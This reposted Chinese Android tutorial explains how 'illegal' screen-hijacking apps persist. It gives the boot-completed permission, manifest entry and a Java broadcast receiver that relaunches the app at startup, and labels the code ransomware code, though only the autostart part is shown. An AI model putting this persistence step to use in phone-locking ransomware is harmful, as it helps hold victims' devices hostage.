40.android广播-手机非法软件

来源:互联网 发布:淘宝评价采集工具 编辑:程序博客网 时间:2024/06/09 20:48

手机非法软件,霸占手机的屏幕,禁止掉返回按键,到home按键又重启,开机自动打开。

首先返回无法生效,重启的时候,监听开机广播,开机后打开程序,可以达到非法的目的。

FLAG_ACTIVITY_NEW_TASK://在activity外开启app需要这一个标志位,this activity will become the start of a new task on this history stack. 相当于开启一个新的任务栈,应用的启动需要任务栈,广播接收者是没有任务栈,不能存放activity

权限配置

  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

清单文件配置

<receiver android:name="com.ldw.phonehei.bootReceiver">            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED"/>            </intent-filter>        </receiver>

勒索软件代码(代码中仅仅配置了开机自动重启)

package com.ldw.phonehei;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.widget.Toast;public class bootReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stubToast.makeText(context, "开机成功", Toast.LENGTH_SHORT).show();System.out.println("开机成功");//开机启动activity,实现开机自动启动软件Intent it = new Intent(context, MainActivity.class);//在activity外开启app需要这一个标志位,this activity will become the start of a new task on this history stack. it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);context.startActivity(it);}}


0 0